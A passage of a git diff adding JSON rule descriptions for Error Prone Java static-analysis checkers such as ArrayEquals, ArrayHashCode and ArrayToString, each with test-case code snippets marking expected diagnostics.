ONE;\n }" + }, + { + "description": "interspersedJavadoc_variableNoModifiers", + "expected-problems": null, + "expected-linenumbers": [ + 741 + ], + "code": "class Test {\n @NonTypeUse\n /** Javadoc! */\n int x;\n }\n \n\n class Test {\n /** Javadoc! */\n @NonTypeUse int x;\n }" + }, + { + "description": "variable_genericType_modifiers", + "expected-problems": null, + "expected-linenumbers": [ + 764 + ], + "code": "import java.util.List;\n\n class Test {\n @TypeUse private List x;\n @EitherUse private List y;\n @NonTypeUse private List z;\n }\n \n\n import java.util.List;\n\n class Test {\n private @TypeUse List x;\n private @EitherUse List y;\n @NonTypeUse private List z;\n }" + }, + { + "description": "twoNonTypeAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 792 + ], + "code": "interface Test {\n @NonTypeUse\n // BUG: Diagnostic contains: [AnnotationPosition] @AnotherNonTypeUse is not\n public @AnotherNonTypeUse void f();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationValueToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationValueToString.json new file mode 100644 index 0000000..d33d0c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AnnotationValueToString.json @@ -0,0 +1,22 @@ +{ + "name": "AnnotationValueToString", + "language": "java", + "description": "AnnotationValue#toString doesn't use fully qualified type names, prefer auto-common's AnnotationValues#toString", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import javax.lang.model.element.AnnotationValue;\n\n class Test {\n String f(AnnotationValue av) {\n return av.toString();\n }\n }\n \n\n import com.google.auto.common.AnnotationValues;\n import javax.lang.model.element.AnnotationValue;\n\n class Test {\n String f(AnnotationValue av) {\n return AnnotationValues.toString(av);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayAsKeyOfSetOrMap.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayAsKeyOfSetOrMap.json new file mode 100644 index 0000000..8ee72c7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayAsKeyOfSetOrMap.json @@ -0,0 +1,30 @@ +{ + "name": "ArrayAsKeyOfSetOrMap", + "language": "java", + "description": "Arrays do not override equals() or hashCode, so comparisons will be done on reference equality only. If neither deduplication nor lookup are needed, consider using a List instead. Otherwise, use IdentityHashMap/Set, a Map from a library that handles object arrays, or an Iterable/List of pairs.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import java.util.Arrays;\nimport java.util.Set;\nimport java.util.Map;\nimport java.util.LinkedHashMap;\nimport java.util.concurrent.ConcurrentHashMap;\nimport com.google.common.collect.Sets;\nimport com.google.common.collect.Maps;\nimport com.google.common.collect.HashMultiset;\nimport com.google.common.collect.LinkedHashMultiset;\nimport com.google.common.collect.HashBiMap;\nimport com.google.common.collect.HashMultimap;\nimport com.google.common.collect.LinkedHashMultimap;\nimport com.google.common.collect.ArrayListMultimap;\nimport com.google.common.collect.LinkedListMultimap;\nimport java.util.HashMap;\nimport java.util.HashSet;\n\nclass Test {\n public static void main(String[] args) {\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n Map testNewMap = Maps.newHashMap();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n Set testNewSet = Sets.newHashSet();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n HashMap testNewHashMap = Maps.newHashMap();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n HashSet testNewHashSet = Sets.newHashSet();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n Map testMap = new HashMap();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n Set testSet = new HashSet();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n HashMap testHashMap = new HashMap();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n HashSet testHashSet = new HashSet();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n HashMultimap testHashMultimap = HashMultimap.create();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n ArrayListMultimap testArrayListMultimap = ArrayListMultimap.create();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n LinkedHashMultimap testLinkedHashMultimap = LinkedHashMultimap.create();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n LinkedListMultimap testLinkedListMultimap = LinkedListMultimap.create();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n HashBiMap testHashBiMap = HashBiMap.create();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n LinkedHashMap testLinkedHashMap = new LinkedHashMap();\n ConcurrentHashMap testConcurrentHashMap =\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n new ConcurrentHashMap();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n HashMultiset testHashMultiSet = HashMultiset.create();\n // BUG: Diagnostic contains: ArrayAsKeyOfSetOrMap\n LinkedHashMultiset testLinkedHashMultiSet = LinkedHashMultiset.create();\n }\n}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "import java.util.Arrays;\nimport java.util.Set;\nimport java.util.Map;\nimport java.util.LinkedHashMap;\nimport java.util.concurrent.ConcurrentHashMap;\nimport com.google.common.collect.Sets;\nimport com.google.common.collect.Maps;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.TreeSet;\nimport com.google.common.collect.HashMultiset;\nimport com.google.common.collect.LinkedHashMultiset;\nimport com.google.common.collect.HashBiMap;\nimport com.google.common.collect.HashMultimap;\nimport com.google.common.collect.LinkedHashMultimap;\nimport com.google.common.collect.ArrayListMultimap;\nimport com.google.common.collect.LinkedListMultimap;\nimport com.google.common.collect.Ordering;\n\nclass Test {\n public static void main(String[] args) {\n Map testMap = new HashMap();\n Set testSet = new HashSet();\n HashMap testHashMap = new HashMap();\n HashSet testHashSet = new HashSet();\n Set testSet2 = new HashSet();\n Map testMap2 = new HashMap();\n Map mapFromMethod = Maps.newHashMap();\n Set setFromMethod = Sets.newHashSet();\n Set thisShouldWork =\n new TreeSet(Ordering.natural().lexicographical().onResultOf(Arrays::asList));\n HashMultimap testHashMultimap = HashMultimap.create();\n ArrayListMultimap testArrayListMultimap = ArrayListMultimap.create();\n LinkedHashMultimap testLinkedHashMultimap = LinkedHashMultimap.create();\n LinkedListMultimap testLinkedListMultimap = LinkedListMultimap.create();\n HashBiMap testHashBiMap = HashBiMap.create();\n LinkedHashMap testLinkedHashMap = new LinkedHashMap();\n ConcurrentHashMap testConcurrentHashMap =\n new ConcurrentHashMap();\n HashMultiset testHashMultiSet = HashMultiset.create();\n LinkedHashMultiset testLinkedHashMultiSet = LinkedHashMultiset.create();\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayEquals.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayEquals.json new file mode 100644 index 0000000..589459a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayEquals.json @@ -0,0 +1,46 @@ +{ + "name": "ArrayEquals", + "language": "java", + "description": "Reference equality used to compare arrays", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.base.Objects;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class ArrayEqualsPositiveCases {\n\n public void intArray() {\n int[] a = {1, 2, 3};\n int[] b = {1, 2, 3};\n\n // BUG: Diagnostic contains: Arrays.equals(a, b)\n if (a.equals(b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n\n // BUG: Diagnostic contains: Arrays.equals(a, b)\n if (Objects.equal(a, b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n\n public void objectArray() {\n Object[] a = new Object[3];\n Object[] b = new Object[3];\n\n // BUG: Diagnostic contains: Arrays.equals(a, b)\n if (a.equals(b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n\n // BUG: Diagnostic contains: Arrays.equals(a, b)\n if (Objects.equal(a, b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n\n public void firstMethodCall() {\n String s = \"hello\";\n char[] b = new char[3];\n\n // BUG: Diagnostic contains: Arrays.equals(s.toCharArray(), b)\n if (s.toCharArray().equals(b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n\n public void secondMethodCall() {\n char[] a = new char[3];\n String s = \"hello\";\n\n // BUG: Diagnostic contains: Arrays.equals(a, s.toCharArray())\n if (a.equals(s.toCharArray())) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n\n public void bothMethodCalls() {\n String s1 = \"hello\";\n String s2 = \"world\";\n\n // BUG: Diagnostic contains: Arrays.equals(s1.toCharArray(), s2.toCharArray())\n if (s1.toCharArray().equals(s2.toCharArray())) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n }\\" + }, + { + "description": "java7PositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Objects;\n\n /**\n * Tests that only run with Java 7 and above.\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class ArrayEqualsPositiveCases2 {\n\n public void intArray() {\n int[] a = {1, 2, 3};\n int[] b = {1, 2, 3};\n\n // BUG: Diagnostic contains: Arrays.equals(a, b)\n if (Objects.equals(a, b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n\n public void objectArray() {\n Object[] a = new Object[3];\n Object[] b = new Object[3];\n\n // BUG: Diagnostic contains: Arrays.equals(a, b)\n if (Objects.equals(a, b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 171 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.base.Objects;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class ArrayEqualsNegativeCases {\n public void neitherArray() {\n Object a = new Object();\n Object b = new Object();\n\n if (a.equals(b)) {\n System.out.println(\"Objects are equal!\");\n } else {\n System.out.println(\"Objects are not equal!\");\n }\n\n if (Objects.equal(a, b)) {\n System.out.println(\"Objects are equal!\");\n } else {\n System.out.println(\"Objects are not equal!\");\n }\n }\n\n public void firstArray() {\n Object[] a = new Object[3];\n Object b = new Object();\n\n if (a.equals(b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n\n if (Objects.equal(a, b)) {\n System.out.println(\"Objects are equal!\");\n } else {\n System.out.println(\"Objects are not equal!\");\n }\n }\n\n public void secondArray() {\n Object a = new Object();\n Object[] b = new Object[3];\n\n if (a.equals(b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n\n if (Objects.equal(a, b)) {\n System.out.println(\"Objects are equal!\");\n } else {\n System.out.println(\"Objects are not equal!\");\n }\n }\n }\\" + }, + { + "description": "java7NegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Objects;\n\n /**\n * Tests that only run with Java 7 and above.\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class ArrayEqualsNegativeCases2 {\n public void neitherArray() {\n Object a = new Object();\n Object b = new Object();\n\n if (Objects.equals(a, b)) {\n System.out.println(\"Objects are equal!\");\n } else {\n System.out.println(\"Objects are not equal!\");\n }\n }\n\n public void firstArray() {\n Object[] a = new Object[3];\n Object b = new Object();\n\n if (Objects.equals(a, b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n\n public void secondArray() {\n Object a = new Object();\n Object[] b = new Object[3];\n\n if (Objects.equals(a, b)) {\n System.out.println(\"arrays are equal!\");\n } else {\n System.out.println(\"arrays are not equal!\");\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayFillIncompatibleType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayFillIncompatibleType.json new file mode 100644 index 0000000..5730c85 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayFillIncompatibleType.json @@ -0,0 +1,46 @@ +{ + "name": "ArrayFillIncompatibleType", + "language": "java", + "description": "Arrays.fill(Object[], Object) called with incompatible types.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "primitiveBoxingIntoObject", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import java.util.Arrays;\n\n class Test {\n void something(boolean b, Object[] o) {\n Arrays.fill(o, b);\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import java.util.Arrays;\n\n class Test {\n void something(String b, Integer[] o, Number n) {\n // BUG: Diagnostic contains:\n Arrays.fill(o, b);\n // BUG: Diagnostic contains:\n Arrays.fill(o, 2.0d);\n // BUG: Diagnostic contains:\n Arrays.fill(o, n);\n }\n }" + }, + { + "description": "ternary", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "import java.util.Arrays;\n\n class Test {\n enum Foo {\n BAR,\n BAZ\n };\n\n void something(Foo[] o, String[] s) {\n Arrays.fill(o, true ? Foo.BAR : Foo.BAZ);\n Arrays.fill(s, true ? \"a\" : \"b\");\n // BUG: Diagnostic contains:\n Arrays.fill(s, true ? \"a\" : 123);\n }\n }" + }, + { + "description": "boxing", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "import java.util.Arrays;\n\n class Test {\n void something(int i, long l, Integer[] o) {\n Arrays.fill(o, 1);\n Arrays.fill(o, i);\n Arrays.fill(o, 0, 4, i);\n // BUG: Diagnostic contains:\n Arrays.fill(o, l);\n // BUG: Diagnostic contains:\n Arrays.fill(o, 4L);\n // BUG: Diagnostic contains:\n Arrays.fill(o, 0, 4, l);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayHashCode.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayHashCode.json new file mode 100644 index 0000000..cb23ad0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayHashCode.json @@ -0,0 +1,38 @@ +{ + "name": "ArrayHashCode", + "language": "java", + "description": "hashcode method on array does not hash array contents", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 126, + "branches": 18, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.base.Objects;\n\n/**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\npublic class ArrayHashCodePositiveCases {\n private Object[] objArray = {1, 2, 3};\n private String[] stringArray = {\"1\", \"2\", \"3\"};\n private int[] intArray = {1, 2, 3};\n private byte[] byteArray = {1, 2, 3};\n private int[][] multidimensionalIntArray = {{1, 2, 3}, {4, 5, 6}};\n private String[][] multidimensionalStringArray = {{\"1\", \"2\", \"3\"}, {\"4\", \"5\", \"6\"}};\n\n public void objectHashCode() {\n int hashCode;\n // BUG: Diagnostic contains: Arrays.hashCode(objArray)\n hashCode = objArray.hashCode();\n // BUG: Diagnostic contains: Arrays.hashCode(stringArray)\n hashCode = stringArray.hashCode();\n // BUG: Diagnostic contains: Arrays.hashCode(intArray)\n hashCode = intArray.hashCode();\n\n // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray)\n hashCode = multidimensionalIntArray.hashCode();\n // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray)\n hashCode = multidimensionalStringArray.hashCode();\n }\n\n public void guavaObjectsHashCode() {\n int hashCode;\n // BUG: Diagnostic contains: Arrays.hashCode(intArray)\n hashCode = Objects.hashCode(intArray);\n // BUG: Diagnostic contains: Arrays.hashCode(byteArray)\n hashCode = Objects.hashCode(byteArray);\n\n // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray)\n hashCode = Objects.hashCode(multidimensionalIntArray);\n // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray)\n hashCode = Objects.hashCode(multidimensionalStringArray);\n }\n\n public void varargsHashCodeOnMoreThanOneArg() {\n int hashCode;\n // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(objArray),\n // Arrays.hashCode(intArray))\n hashCode = Objects.hashCode(objArray, intArray);\n // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(stringArray),\n // Arrays.hashCode(byteArray))\n hashCode = Objects.hashCode(stringArray, byteArray);\n\n Object obj1 = new Object();\n Object obj2 = new Object();\n // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, Arrays.hashCode(intArray))\n hashCode = Objects.hashCode(obj1, obj2, intArray);\n // BUG: Diagnostic contains: Objects.hashCode(obj1, Arrays.hashCode(intArray), obj2)\n hashCode = Objects.hashCode(obj1, intArray, obj2);\n // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(intArray), obj1, obj2)\n hashCode = Objects.hashCode(intArray, obj1, obj2);\n\n // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2,\n // Arrays.deepHashCode(multidimensionalIntArray))\n hashCode = Objects.hashCode(obj1, obj2, multidimensionalIntArray);\n // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2,\n // Arrays.deepHashCode(multidimensionalStringArray))\n hashCode = Objects.hashCode(obj1, obj2, multidimensionalStringArray);\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.base.Objects;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class ArrayHashCodeNegativeCases {\n\n private Object[] objArray = {1, 2, 3};\n private String[] stringArray = {\"1\", \"2\", \"3\"};\n private int[] intArray = {1, 2, 3};\n private byte[] byteArray = {1, 2, 3};\n private Object obj = new Object();\n private String str = \"foo\";\n\n public void objectHashCodeOnNonArrayType() {\n int hashCode;\n hashCode = obj.hashCode();\n hashCode = str.hashCode();\n }\n\n public void varagsHashCodeOnNonArrayType() {\n int hashCode;\n hashCode = Objects.hashCode(obj);\n hashCode = Objects.hashCode(str);\n }\n\n public void varagsHashCodeOnObjectOrStringArray() {\n int hashCode;\n hashCode = Objects.hashCode(objArray);\n hashCode = Objects.hashCode((Object[]) stringArray);\n }\n }\\" + }, + { + "description": "java7NegativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Objects;\n\n /**\n * Java 7 specific tests\n *\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class ArrayHashCodeNegativeCases2 {\n\n private Object[] objArray = {1, 2, 3};\n private String[] stringArray = {\"1\", \"2\", \"3\"};\n private int[] intArray = {1, 2, 3};\n private byte[] byteArray = {1, 2, 3};\n private Object obj = new Object();\n private String str = \"foo\";\n\n public void nonVaragsHashCodeOnNonArrayType() {\n int hashCode;\n hashCode = Objects.hashCode(obj);\n hashCode = Objects.hashCode(str);\n }\n\n public void varagsHashCodeOnNonArrayType() {\n int hashCode;\n hashCode = Objects.hash(obj);\n hashCode = Objects.hash(str);\n }\n\n public void varagsHashCodeOnObjectOrStringArray() {\n int hashCode;\n hashCode = Objects.hash(objArray);\n hashCode = Objects.hash((Object[]) stringArray);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayRecordComponent.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayRecordComponent.json new file mode 100644 index 0000000..838c7c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayRecordComponent.json @@ -0,0 +1,46 @@ +{ + "name": "ArrayRecordComponent", + "language": "java", + "description": "Record components should not be arrays.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive_recordWithArrayComponents", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "" + }, + { + "description": "negative_recordWithNonArrayComponents", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "" + }, + { + "description": "negative_recordWithStaticArrayField", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "" + }, + { + "description": "negative_nonRecordWithArrayField", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayToString.json new file mode 100644 index 0000000..2514c3d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArrayToString.json @@ -0,0 +1,142 @@ +{ + "name": "ArrayToString", + "language": "java", + "description": "Calling toString on an array does not provide useful information", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.*;\n\n /**\n * @author adgar@google.com (Mike Edgar)\n */\n public class ArrayToStringPositiveCases {\n\n public void intArray() {\n int[] a = {1, 2, 3};\n\n // BUG: Diagnostic contains: Arrays.toString(a)\n if (a.toString().isEmpty()) {\n System.out.println(\"int array string is empty!\");\n } else {\n System.out.println(\"int array string is nonempty!\");\n }\n }\n\n public void objectArray() {\n Object[] a = new Object[3];\n\n // BUG: Diagnostic contains: Arrays.toString(a)\n if (a.toString().isEmpty()) {\n System.out.println(\"object array string is empty!\");\n } else {\n System.out.println(\"object array string is nonempty!\");\n }\n }\n\n public void firstMethodCall() {\n String s = \"hello\";\n\n // BUG: Diagnostic contains: Arrays.toString(s.toCharArray())\n if (s.toCharArray().toString().isEmpty()) {\n System.out.println(\"char array string is empty!\");\n } else {\n System.out.println(\"char array string is nonempty!\");\n }\n }\n\n public void secondMethodCall() {\n char[] a = new char[3];\n\n // BUG: Diagnostic contains: Arrays.toString(a)\n if (a.toString().isEmpty()) {\n System.out.println(\"array string is empty!\");\n } else {\n System.out.println(\"array string is nonempty!\");\n }\n }\n\n public void throwable() {\n Exception e = new RuntimeException();\n // BUG: Diagnostic contains: Throwables.getStackTraceAsString(e)\n System.out.println(e.getStackTrace().toString());\n }\n\n public void arrayOfArrays() {\n int[][] a = {};\n // BUG: Diagnostic contains: Arrays.deepToString(a)\n System.out.println(a);\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.*;\n\n /**\n * @author adgar@google.com (Mike Edgar)\n */\n public class ArrayToStringNegativeCases {\n public void objectEquals() {\n Object a = new Object();\n\n if (a.toString().isEmpty()) {\n System.out.println(\"string is empty!\");\n } else {\n System.out.println(\"string is not empty!\");\n }\n }\n }\\" + }, + { + "description": "stringConcat", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "class Test {\n void f(int[] xs) {\n // BUG: Diagnostic contains: (\"\" + Arrays.toString(xs));\n System.err.println(\"\" + xs);\n String s = \"\";\n // BUG: Diagnostic contains: s += Arrays.toString(xs);\n s += xs;\n }\n }" + }, + { + "description": "printString", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "class Test {\n int[] g() {\n return null;\n }\n\n void f(int[] xs) {\n System.err.println(xs);\n System.err.println(String.valueOf(xs));\n System.err.println(String.valueOf(g()));\n }\n }\n \n\n import java.util.Arrays;\n\n class Test {\n int[] g() {\n return null;\n }\n\n void f(int[] xs) {\n System.err.println(Arrays.toString(xs));\n System.err.println(Arrays.toString(xs));\n System.err.println(Arrays.toString(g()));\n }\n }" + }, + { + "description": "negativePrintString", + "expected-problems": null, + "expected-linenumbers": [ + 195 + ], + "code": "class Test {\n void f(char[] xs) {\n System.err.println(String.valueOf(xs));\n }\n }" + }, + { + "description": "stringBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "class Test {\n void f(int[] xs) {\n // BUG: Diagnostic contains: append(Arrays.toString(xs))\n new StringBuilder().append(xs);\n }\n }" + }, + { + "description": "customFormatMethod", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "import com.google.errorprone.annotations.FormatMethod;\n\n class Test {\n private void test(Object[] arr) {\n format(\"%s %s\", arr, 2);\n }\n\n @FormatMethod\n String format(String format, Object... args) {\n return String.format(format, args);\n }\n }" + }, + { + "description": "methodReturningArray", + "expected-problems": null, + "expected-linenumbers": [ + 252 + ], + "code": "class Test {\n private void test() {\n // BUG: Diagnostic contains:\n String.format(\"%s %s\", arr(), 1);\n }\n\n Object[] arr() {\n return null;\n }\n }" + }, + { + "description": "throwableToString", + "expected-problems": null, + "expected-linenumbers": [ + 272 + ], + "code": "class Test {\n void test(Exception e) {\n // BUG: Diagnostic contains: Throwables.getStackTraceAsString(e)\n String.format(\"%s, %s\", 1, e.getStackTrace());\n }\n }" + }, + { + "description": "positiveCompoundAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 288 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.*;\n\n /**\n * @author adgar@google.com (Mike Edgar)\n */\n public class ArrayToStringCompoundAssignmentPositiveCases {\n\n private static final int[] a = {1, 2, 3};\n\n public void stringVariableAddsArrayAndAssigns() {\n String b = \"a string\";\n // BUG: Diagnostic contains: += Arrays.toString(a)\n b += a;\n }\n }\\" + }, + { + "description": "negativeCompoundAssignment", + "expected-problems": null, + "expected-linenumbers": [ + 315 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author adgar@google.com (Mike Edgar)\n */\n public class ArrayToStringCompoundAssignmentNegativeCases {\n public void concatenateCompoundAssign_object() {\n Object a = new Object();\n String b = \" a string\";\n b += a;\n }\n\n public void concatenateCompoundAssign_int() {\n int a = 5;\n String b = \" a string \";\n b += a;\n }\n }\\" + }, + { + "description": "positiveConcat", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.*;\n\n /**\n * @author adgar@google.com (Mike Edgar)\n */\n public class ArrayToStringConcatenationPositiveCases {\n\n private static final int[] a = {1, 2, 3};\n\n public void stringLiteralLeftOperandIsArray() {\n // BUG: Diagnostic contains: Arrays.toString(a) +\n String b = a + \" a string\";\n }\n\n public void stringLiteralRightOperandIsArray() {\n // BUG: Diagnostic contains: + Arrays.toString(a)\n String b = \"a string\" + a;\n }\n }\\" + }, + { + "description": "negativeConcat", + "expected-problems": null, + "expected-linenumbers": [ + 374 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author adgar@google.com (Mike Edgar)\n */\n public class ArrayToStringConcatenationNegativeCases {\n public void notArray() {\n Object a = new Object();\n String b = a + \" a string\";\n }\n\n public void notArray_refactored() {\n Object a = new Object();\n String b = \" a string\";\n String c = a + b;\n }\n }\\" + }, + { + "description": "arrayPassedToJoiner", + "expected-problems": null, + "expected-linenumbers": [ + 401 + ], + "code": "import com.google.common.base.Joiner;\n\n class Test {\n String test(Joiner j, Object[] a) {\n return j.join(a);\n }\n }" + }, + { + "description": "arrayPassedToJoiner_firstSecondRest_negative", + "expected-problems": null, + "expected-linenumbers": [ + 418 + ], + "code": "import com.google.common.base.Joiner;\n\n class Test {\n String test(Joiner j, Object first, Object second, Object[] rest) {\n return j.join(first, second, rest);\n }\n }" + }, + { + "description": "arrayPassedToJoiner_firstSecondRest_positive", + "expected-problems": null, + "expected-linenumbers": [ + 435 + ], + "code": "import com.google.common.base.Joiner;\n\n class Test {\n String test(Joiner j, Object first, Object second, Object third, Object[] rest) {\n // BUG: Diagnostic contains:\n return j.join(first, second, third, rest);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArraysAsListPrimitiveArray.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArraysAsListPrimitiveArray.json new file mode 100644 index 0000000..2610296 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ArraysAsListPrimitiveArray.json @@ -0,0 